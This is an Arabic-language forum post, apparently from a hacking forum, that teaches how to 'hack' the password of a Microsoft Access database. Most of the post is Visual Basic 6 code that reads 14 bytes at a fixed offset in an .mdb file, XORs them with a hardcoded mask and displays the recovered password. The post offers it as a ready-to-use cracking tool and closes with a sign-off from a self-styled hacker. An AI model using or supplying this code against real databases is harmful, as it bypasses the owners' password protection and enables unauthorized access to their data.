بسم الله الرحمن الرحيم اختراق كلمة سر لقاعدة بيانات يمكنك وضع كلمة سر لقاعدة بيانات و الان سنتعلم كيفية اختراقها.. افتح مشروع جديد Standart.exe.. ضع CommonDialog و زر امر.. و الان قم بكتابة هذا الكود في قسم التصريحات العامة: Option Explicit Private zChar As String Dim n As Long, s1 As String * 1, s2 As String * 1 Dim lsClave As String Dim mask As String و هذا في زر الامر: Private Sub Command1_Click() CommonDialog1.Filter = "Microsoft Access Database|*.mdb" CommonDialog1.DefaultExt = "mdb" CommonDialog1.ShowOpen zChar = CommonDialog1.FileTitle mask = Chr(78) & Chr(134) & Chr(251) & Chr(236) & _ Chr(55) & Chr(93) & Chr(68) & Chr(156) & _ Chr(250) & Chr(198) & Chr(94) & Chr(40) & Chr(230) & Chr(19) Open zChar For Binary As #1 Seek #1, &H42 For n = 1 To 14 s1 = Mid(mask, n, 1) s2 = Input(1, 1) If (Asc(s1) Xor Asc(s2)) <> 0 Then lsClave = lsClave & Chr(Asc(s1) Xor Asc(s2)) End If Next Close 1 MsgBox lsClave & “كلمة السر هي: ” End Sub لاتنسو خالص دوعاكم لأخوكم عفريت الهكر صاحب منضمة الحسام لبرامج الهكر(^_^)(^_^):^:
عرض سحابة الكلمة الدلالية
قوانين المنتدى